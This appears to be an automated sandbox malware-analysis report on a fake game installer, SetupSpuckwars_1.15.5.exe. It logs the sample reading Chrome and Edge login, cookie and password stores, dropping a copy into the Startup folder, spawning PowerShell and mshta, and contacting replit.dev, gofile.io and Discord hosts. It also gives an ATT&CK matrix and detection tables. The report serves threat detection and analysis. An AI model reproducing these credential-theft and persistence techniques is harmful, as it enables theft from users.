Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\DTBZGIOOSO.docx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\DTBZGIOOSO.docx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\DTBZGIOOSO.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\DTBZGIOOSO.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\HTAGVDFUIE.jpg VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\HTAGVDFUIE.jpg VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\JSDNGYCOWY.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\LTKMYBSEYZ.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\ONBQCLYSPU.docx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\ONBQCLYSPU.jpg VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\ONBQCLYSPU.jpg VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\ONBQCLYSPU.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\ONBQCLYSPU.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\UMMBDNEQBN.mp3 VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\UMMBDNEQBN.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\UMMBDNEQBN.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\VAMYDFPUND.mp3 VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\VAMYDFPUND.mp3 VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\WUTJSCBCFX.mp3 VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\AIXACVYBSB VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\CURQNKVOIX VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\FENIVHOIKN.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\FENIVHOIKN.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\HTAGVDFUIE.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\KATAXZVCPS VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\KATAXZVCPS VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Music VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\desktop.ini VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\desktop.ini VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\DTBZGIOOSO.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\DVWHKMNFNN.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\HTAGVDFUIE VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\HTAGVDFUIE VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\HTAGVDFUIE.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\JSDNGYCOWY.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\JSDNGYCOWY.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\UMMBDNEQBN.mp3 VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\WUTJSCBCFX.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\WUTJSCBCFX.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.docx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\importantfiles.zip VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Stealing of Sensitive Information

barindex
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldbJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\ILURIACookiesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.logJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.dbJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\NetworkJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local Storage\leveldbJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.dbJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\DefaultJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeDirectory queried: C:\Users\user\DocumentsJump to behavior

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
Windows Management Instrumentation		12
Registry Run Keys / Startup Folder		12
Process Injection		11
Masquerading		1
OS Credential Dumping		1
Security Software Discovery		Remote Services1
Email Collection		1
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts1
Command and Scripting Interpreter		1
DLL Side-Loading		12
Registry Run Keys / Startup Folder		21
Virtualization/Sandbox Evasion		LSASS Memory3
Process Discovery		Remote Desktop Protocol11
Data from Local System		2
Non-Application Layer Protocol		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
DLL Side-Loading		12
Process Injection		Security Account Manager21
Virtualization/Sandbox Evasion		SMB/Windows Admin SharesData from Network Shared Drive3
Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
DLL Side-Loading		NTDS1
Application Window Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
Remote System Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials12
File and Directory Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync35
System Information Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1423647 Sample: SetupSpuckwars_1.15.5.exe Startdate: 10/04/2024 Architecture: WINDOWS Score: 52 63 ptb.discord.com 2->63 65 e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev 2->65 67 2 other IPs or domains 2->67 9 SetupSpuckwars_1.15.5.exe 179 2->9         started        13 spuckwars.exe 2->13         started        process3 file4 55 C:\Users\user\AppData\Local\...\spuckwars.exe, PE32+ 9->55 dropped 57 C:\Users\user\AppData\Local\...\nsis7z.dll, PE32 9->57 dropped 59 C:\Users\user\AppData\Local\...\System.dll, PE32 9->59 dropped 61 12 other files (none is malicious) 9->61 dropped 83 Drops large PE files 9->83 15 spuckwars.exe 17 9->15         started        signatures5 process6 dnsIp7 71 api.gofile.io 51.38.43.18, 443, 49743, 49745 OVHFR France 15->71 73 e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev 35.247.106.28, 443, 49741 GOOGLEUS United States 15->73 75 2 other IPs or domains 15->75 47 C:\Users\user\AppData\...\spuckwars.exe, PE32+ 15->47 dropped 49 C:\Users\user\AppData\Local\...\webdata.db, SQLite 15->49 dropped 51 C:\Users\user\AppData\Local\...\passwords.db, SQLite 15->51 dropped 53 3 other files (1 malicious) 15->53 dropped 77 Drops PE files to the startup folder 15->77 79 Tries to harvest and steal browser information (history, passwords, etc) 15->79 81 Drops large PE files 15->81 20 cmd.exe 1 15->20         started        22 spuckwars.exe 1 15->22         started        25 cmd.exe 1 15->25         started        27 4 other processes 15->27 file8 signatures9 process10 dnsIp11 29 cmd.exe 1 20->29         started        31 conhost.exe 20->31         started        69 chrome.cloudflare-dns.com 162.159.61.3, 443, 49742 CLOUDFLARENETUS United States 22->69 33 powershell.exe 15 25->33         started        35 conhost.exe 25->35         started        37 powershell.exe 15 27->37         started        39 tasklist.exe 1 27->39         started        41 tasklist.exe 1 27->41         started        43 3 other processes 27->43 process12 process13 45 mshta.exe 29->45         started       

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
SetupSpuckwars_1.15.5.exe0%ReversingLabs

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\0fddd3c7-f5ed-405a-a51a-7dec4b6a2baf.tmp.node0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ffmpeg.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe0%ReversingLabs
C:\Users\user\AppData\Local\Temp\ff48538d-447c-44d8-b8dd-56b91bbce6b3.tmp.node4%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\d3dcompiler_47.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\ffmpeg.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\libEGL.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\libGLESv2.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\resources\elevate.exe0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\spuckwars.exe0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vk_swiftshader.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vulkan-1.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\System.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nss2E13.tmp\nsis7z.dll0%ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe0%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://anglebug.com/46740%URL Reputationsafe
http://anglebug.com/46330%URL Reputationsafe
https://anglebug.com/73820%URL Reputationsafe
https://public.dns.iij.jp/0%URL Reputationsafe
http://crbug.com/5502920%URL Reputationsafe
http://crbug.com/8832760%URL Reputationsafe
https://anglebug.com/77140%URL Reputationsafe
https://anglebug.com/55360%URL Reputationsafe
https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=1071060%URL Reputationsafe
https://dns11.quad9.net/dns-query0%URL Reputationsafe
http://crbug.com/11657510%URL Reputationsafe
https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl0%URL Reputationsafe
https://crbug.com/7058650%URL Reputationsafe
http://crbug.com/1102630%URL Reputationsafe
http://anglebug.com/62480%URL Reputationsafe
http://anglebug.com/69290%URL Reputationsafe
http://anglebug.com/52810%URL Reputationsafe
https://public.dns.iij.jp/IIJ0%URL Reputationsafe
https://anglebug.com/72460%URL Reputationsafe
https://anglebug.com/73690%URL Reputationsafe
https://anglebug.com/74890%URL Reputationsafe
https://crbug.com/5930240%URL Reputationsafe
https://crbug.com/11378510%URL Reputationsafe
https://dns64.dns.google/dns-query0%URL Reputationsafe
http://anglebug.com/2152skipVSConstantRegisterZeroIn0%URL Reputationsafe
https://crbug.com/13005750%URL Reputationsafe
https://crbug.com/7104430%URL Reputationsafe
https://crbug.com/10423930%URL Reputationsafe
https://crbug.com/10600120%URL Reputationsafe
http://anglebug.com/30780%URL Reputationsafe
http://anglebug.com/75530%URL Reputationsafe
https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl0%URL Reputationsafe
http://anglebug.com/53750%URL Reputationsafe
http://anglebug.com/3246allowClearForRobustResourceInitSome0%URL Reputationsafe
http://anglebug.com/53710%URL Reputationsafe
http://anglebug.com/39970%URL Reputationsafe
http://anglebug.com/47220%URL Reputationsafe
http://crbug.com/6426050%URL Reputationsafe
https://public.dns.iij.jp/dns-query0%URL Reputationsafe
http://anglebug.com/14520%URL Reputationsafe
http://anglebug.com/75560%URL Reputationsafe
https://alekberg.net/privacy0%URL Reputationsafe
https://crbug.com/650547callClearTwiceUsing0%URL Reputationsafe
http://anglebug.com/66920%URL Reputationsafe
http://anglebug.com/35020%URL Reputationsafe
http://anglebug.com/36230%URL Reputationsafe
http://anglebug.com/36250%URL Reputationsafe
http://anglebug.com/36240%URL Reputationsafe
https://chromium.dns.nextdns.io0%URL Reputationsafe
http://anglebug.com/50070%URL Reputationsafe
http://crbug.com/11810680%URL Reputationsafe
http://anglebug.com/28940%URL Reputationsafe
http://anglebug.com/38620%URL Reputationsafe
https://dns.google/dns-query0%URL Reputationsafe
http://anglebug.com/48360%URL Reputationsafe
http://int3.de/0%URL Reputationsafe
http://anglebug.com/43840%URL Reputationsafe
https://chrome-devtools-frontend.appspot.com/0%URL Reputationsafe
https://anglebug.com/7246enableCaptureLimitsSet0%URL Reputationsafe
http://anglebug.com/39700%URL Reputationsafe
http://anglebug.com/42670%URL Reputationsafe
https://chromeenterprise.google/policies/#BrowserSwitcherUrlList0%URL Reputationsafe
http://crbug.com/11811930%URL Reputationsafe
http://anglebug.com/4820%URL Reputationsafe
https://nextdns.io/privacy0%Avira URL Cloudsafe
http://anglebug.com/30450%URL Reputationsafe
https://anglebug.com/76040%URL Reputationsafe
http://crbug.com/3083660%URL Reputationsafe
http://anglebug.com/59010%URL Reputationsafe
http://anglebug.com/39650%URL Reputationsafe
http://anglebug.com/64390%URL Reputationsafe
http://anglebug.com/74060%URL Reputationsafe
http://anglebug.com/75270%URL Reputationsafe
https://anglebug.com/71610%URL Reputationsafe
